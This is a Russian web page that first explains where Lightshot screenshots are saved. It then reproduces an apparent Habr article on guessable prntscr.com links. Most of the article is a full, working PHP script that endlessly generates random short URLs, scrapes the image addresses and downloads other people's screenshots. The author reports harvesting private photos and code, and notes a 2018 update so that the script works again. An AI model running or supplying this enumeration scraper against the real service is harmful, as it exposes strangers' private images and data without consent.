Lightshot как найти скриншоты

Программа lightshot уже длительное время помогающая выполнять захват изображения с экрана, отличается простотой использования и удобным интерфейсом. Одним из основных достоинств расширения является предоставление возможности загружать готовые скриншоты сразу в интернет или социальные сети. В связи с этим у многих пользователей возникает вопросы по теме:  куда сохраняются скрины lightshot?

Хранение на личном компьютере

Благодаря удачному инструментарию, снимки экрана можно легко сохранить на жестком диске компьютера.  Из доступных к сохранению  форматов изображения можно выбрать:

• .JPEG
• .PNG
• .BMP

Но сохранить снимок можно после редактирования в интерфейсе программы. Либо отметить все действия в случае неудачи.

Хранение на сервере

Разработчики программы предлагают сохранять готовые скриншоты сразу на страницах социальных сетей, либо получать ссылки. Вот с последним видом хранения возникают проблемы. Все дело в том, что при загрузке на сервер prntscr.com для получения ссылки, некоторые недобросовестные пользователи легко могут просмотреть уже готовые скриншоты, что может представлять угрозу. Поэтому не стоит доверять важные данные месту, где хранятся скрины lightshot в сети интернет.

Загрузка…

Перейти к контенту

Время на прочтение
3 мин

Количество просмотров 153K

Сегодня я наткнулся на одну «уязвимость» сервиса для моментальных скриншотов LightShot.

Всё началось с того, что я загрузил очередной скриншот и вспомнил недавнюю статью на хабре, где сливались пользовательские данные по ссылкам методом перебора.
Попробовав изменить одну букву в URL’e, мне любезно выдало чужой скриншот.

Для начала я попытался понять по какой маске генерируется ссылка вида http://prntscr.com/1npf9n
После небольших экспериментов, понял что маска скорее всего вида prntscr.com/1[a-z0–9] (после цифры 1 идет от 4 до 5 рандомных символов)
Так же я попробовал ссылки http://prntscr.com/login и http://prntscr.com/admin, по которым тоже увидел скриншоты.
Вероятнее всего алгоритм немного переписывался, и текущий алгоритм генерации ссылки устроен так, что исчерпав все варианты комбинаций, либо увеличится длина ссылки до 7 символов, либо маска станет prntscr.com/2[a-z0–9]

В процессе обнаружил одну особенность сервиса — он не хранит картинки у себя на сервере, а заливает их через API на imgur.com и imageshack.us

Меня терзало любопытство: «А можно ли скачать все скриншоты?»
И было решено написать небольшой скрипт. Сначала хотел писать на Python, но он не установлен на моем рабочем ноутбуке, зато под руку попался Denwer и PHP.
Просьба не пинать меня за мой код, который был написан за 5 минут на скорую руку. Он вполне рабочий.

<?php
set_time_limit(0); // убираем ограничение по времени выполнения скрипта
ob_implicit_flush();

function random_string($length)
{ // функция генерации рандомной строки
	$chars = "abcdefghijklmnopqrstuvwxyz1234567890"; // символы из которых генерируем
	$numChars = strlen($chars); // Определяем длину $chars
	$string = ''; // задаем пустую переменную
	for ($i = 0; $i < $length; $i++) { // Собираем строку
		$string.= substr($chars, rand(1, $numChars) - 1, 1);
	}
	return $string; // Возвращаем готовую строку
}

function get_http_response_code($url) { // функция проверки http кода
	$headers = get_headers($url);
	return substr($headers[0], 9, 3);
}

if (!file_exists('lightshot_images')) { // создаем директорию куда сохранять картинки, если отсутствует
	mkdir('lightshot_images', 0777);
}

$options = array(
	'http' => array(
		'method' => "GET",
		'header' => "Accept-language: enrn" . "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:10rn"
	)
);
$context = stream_context_create($options);

while (1) {
	$randstring = random_string(5); // генерируем рандомную сроку
	$htmldata = file_get_contents('https://prnt.sc/m' . $randstring, false, $context); // подставляем рандомную строку и получаем код страницы
	preg_match_all('/<meta name="twitter:image:src" content="(.*?)"/>/is', $htmldata, $img_url); // парсим регуляркой url картинки
	if (strlen($img_url[1][0]) > 1) { // проверяем длину полученной строки, если больше 1 - картинка по этому адресу есть
		$imgs = str_replace('//st.prntscr', 'https://st.prntscr', $img_url[1][0]);
		$localname = array_pop(explode('/', $img_url[1][0])); // разбиваем строку в массив и извлекаем последний элемент массива (т.е. imagename.png)
		$localpath = "./lightshot_images/" . $localname; // определяем куда будет сохраняться картинка локально.
		if (get_http_response_code($imgs) != "200") {
			echo "<span style='color:red;display:block;margin-bottom:10px;font-size:14px;'>404. По адресу " . $imgs . " картинки больше нет :(</span>";
		} else {
			file_put_contents($localpath, file_get_contents($imgs, false, $context)); // скачиваем, можно было бы реализовать через curl, но на мой взгляд это проще и быстрее
			echo "<span style='color:green;display:block;margin-bottom:10px;font-size:14px;'>Сохранение - " . $localname . " , url - http://prntscr.com/m" . $randstring . " , скачиваем с " . $imgs . "</span>";
		}
	} else {
		echo "<span style='color:red;display:block;margin-bottom:10px;font-size:14px;'>По адресу http://prntscr.com/m" . $randstring . " нет картинки</span>";
	}
}
?>

Результат выполнения в браузере (как видно, ~95% сгенерированных рандомных ссылок выдают скриншоты)

В итоге накачал целую кучу скриншотов, среди которых есть слишком личные фото людей, скриншоты кода, и много других интересных вещей.

UPD 2018: Поправил скрипт с учетом изменений произошедших на lightshot. Теперь снова работает.